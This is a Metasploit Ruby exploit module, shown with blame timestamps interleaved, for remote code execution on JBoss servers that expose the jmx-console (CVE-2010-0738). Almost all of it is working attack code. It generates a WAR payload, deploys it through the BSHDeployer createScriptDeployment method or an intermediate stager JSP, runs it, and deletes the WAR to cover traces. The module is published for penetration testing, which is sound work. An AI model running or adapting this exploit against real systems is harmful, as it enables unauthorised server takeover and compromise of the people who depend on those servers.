2010-06-21 16:26:14 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-06-21 16:26:14 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
|
|
|
|
2015-10-15 16:49:15 +00:00
|
|
|
include Msf::Exploit::Remote::HTTP::JBoss
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
|
|
|
|
'Description' => %q{
|
|
|
|
This module can be used to install a WAR file payload on JBoss servers that have
|
|
|
|
an exposed "jmx-console" application. The payload is put on the server by
|
|
|
|
using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Patrick Hof',
|
|
|
|
'jduck',
|
|
|
|
'Konrads Smelkovs',
|
|
|
|
'h0ng10'
|
|
|
|
],
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
|
|
|
|
[ 'OSVDB', '64171' ],
|
|
|
|
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
|
|
|
|
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2013-09-24 17:33:31 +00:00
|
|
|
'Platform' => %w{ java linux win },
|
2013-08-30 21:28:54 +00:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
#
|
|
|
|
# do target detection but java meter by default
|
|
|
|
# detect via /manager/serverinfo
|
|
|
|
#
|
|
|
|
[ 'Automatic (Java based)',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Platform' => 'java'
|
|
|
|
} ],
|
|
|
|
|
|
|
|
#
|
|
|
|
# Platform specific targets only
|
|
|
|
#
|
|
|
|
[ 'Windows Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[ 'Linux Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
|
|
|
|
#
|
|
|
|
# Java version
|
|
|
|
#
|
|
|
|
[ 'Java Universal',
|
|
|
|
{
|
|
|
|
'Platform' => 'java',
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
}
|
|
|
|
]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => "Apr 26 2010",
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
2014-07-22 21:08:42 +00:00
|
|
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
2014-08-01 19:28:26 +00:00
|
|
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ])
|
2013-08-30 21:28:54 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
|
|
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
|
|
|
|
|
|
|
p = payload
|
|
|
|
mytarget = target
|
|
|
|
|
2014-08-01 19:28:26 +00:00
|
|
|
if target.name =~ /Automatic/
|
2014-09-24 20:15:32 +00:00
|
|
|
mytarget = auto_target(targets)
|
2014-08-01 19:28:26 +00:00
|
|
|
unless mytarget
|
2013-08-30 21:28:54 +00:00
|
|
|
fail_with(Failure::NoTarget, "Unable to automatically select a target")
|
|
|
|
end
|
|
|
|
print_status("Automatically selected target \"#{mytarget.name}\"")
|
|
|
|
else
|
|
|
|
print_status("Using manually select target \"#{mytarget.name}\"")
|
|
|
|
end
|
|
|
|
arch = mytarget.arch
|
|
|
|
|
|
|
|
# set arch/platform from the target
|
|
|
|
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
|
|
|
|
|
|
|
|
# We must regenerate the payload in case our auto-magic changed something.
|
|
|
|
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
|
|
|
|
|
|
|
# Generate the WAR containing the payload
|
2014-07-17 22:56:32 +00:00
|
|
|
war_data = p.encoded_war({
|
2014-08-01 19:28:26 +00:00
|
|
|
:app_name => app_base,
|
|
|
|
:jsp_name => jsp_name,
|
|
|
|
:arch => mytarget.arch,
|
|
|
|
:platform => mytarget.platform
|
|
|
|
}).to_s
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
|
|
|
|
2014-08-01 19:28:26 +00:00
|
|
|
if http_verb == 'POST'
|
|
|
|
print_status("Deploying payload...")
|
|
|
|
opts = {
|
|
|
|
:file => "#{app_base}.war",
|
|
|
|
:contents => encoded_payload
|
|
|
|
}
|
2013-08-30 21:28:54 +00:00
|
|
|
else
|
2014-08-01 19:28:26 +00:00
|
|
|
print_status("Deploying stager...")
|
|
|
|
stager_base = rand_text_alpha(8+rand(8))
|
2014-07-18 09:51:46 +00:00
|
|
|
stager_jsp_name = rand_text_alpha(8+rand(8))
|
2014-08-01 19:28:26 +00:00
|
|
|
stager_contents = stager_jsp(app_base)
|
2014-07-18 09:51:46 +00:00
|
|
|
|
2014-08-01 19:28:26 +00:00
|
|
|
opts = {
|
|
|
|
:dir => "#{stager_base}.war",
|
|
|
|
:file => "#{stager_base}.war/#{stager_jsp_name}.jsp",
|
|
|
|
:contents => Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')
|
|
|
|
}
|
|
|
|
end
|
|
|
|
|
|
|
|
bsh_payload = generate_bsh(:create, opts)
|
|
|
|
package = deploy_bsh(bsh_payload)
|
|
|
|
|
|
|
|
if package.nil?
|
|
|
|
fail_with(Failure::Unknown, "Failed to deploy")
|
|
|
|
end
|
|
|
|
|
|
|
|
unless http_verb == 'POST'
|
2013-08-30 21:28:54 +00:00
|
|
|
# now we call the stager to deploy our real payload war
|
|
|
|
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
2014-08-01 19:28:26 +00:00
|
|
|
payload_data = "#{rand_text_alpha(8+rand(8))}=#{Rex::Text.uri_encode(encoded_payload)}"
|
|
|
|
print_status("Calling stager #{stager_uri } to deploy final payload")
|
|
|
|
res = deploy('method' => 'POST',
|
|
|
|
'data' => payload_data,
|
|
|
|
'uri' => stager_uri)
|
|
|
|
unless res && res.code == 200
|
|
|
|
fail_with(Failure::Unknown, "Failed to deploy")
|
|
|
|
end
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2014-08-01 19:28:26 +00:00
|
|
|
|
2014-07-17 22:56:32 +00:00
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
|
|
|
uri = '/' + app_base + '/' + jsp_name + '.jsp'
|
|
|
|
print_status("Calling JSP file with final payload...")
|
|
|
|
print_status("Executing #{uri}...")
|
2014-08-01 19:28:26 +00:00
|
|
|
deploy('uri' => uri, 'method' => 'GET')
|
2014-07-17 22:56:32 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# DELETE
|
|
|
|
#
|
|
|
|
# The WAR can only be removed by physically deleting it, otherwise it
|
|
|
|
# will get redeployed after a server restart.
|
|
|
|
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
|
2014-08-01 19:28:26 +00:00
|
|
|
|
|
|
|
files = {}
|
|
|
|
unless http_verb == 'POST'
|
|
|
|
files[:stager_jsp_name] = "#{stager_base}.war/#{stager_jsp_name}.jsp"
|
|
|
|
files[:stager_base] = "#{stager_base}.war"
|
2014-07-18 09:51:46 +00:00
|
|
|
end
|
2014-08-01 19:28:26 +00:00
|
|
|
files[:app_base] = "#{app_base}.war"
|
|
|
|
delete_script = generate_bsh(:delete, files)
|
2014-07-18 09:51:46 +00:00
|
|
|
|
2014-08-01 19:28:26 +00:00
|
|
|
res = invoke_bsh_script(delete_script, package)
|
|
|
|
if res.nil?
|
2014-07-17 22:56:32 +00:00
|
|
|
print_warning("WARNING: Unable to remove WAR [No Response]")
|
2014-08-01 19:28:26 +00:00
|
|
|
elsif res.code < 200 || res.code >= 300
|
2014-07-17 22:56:32 +00:00
|
|
|
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2014-07-17 22:56:32 +00:00
|
|
|
handler
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|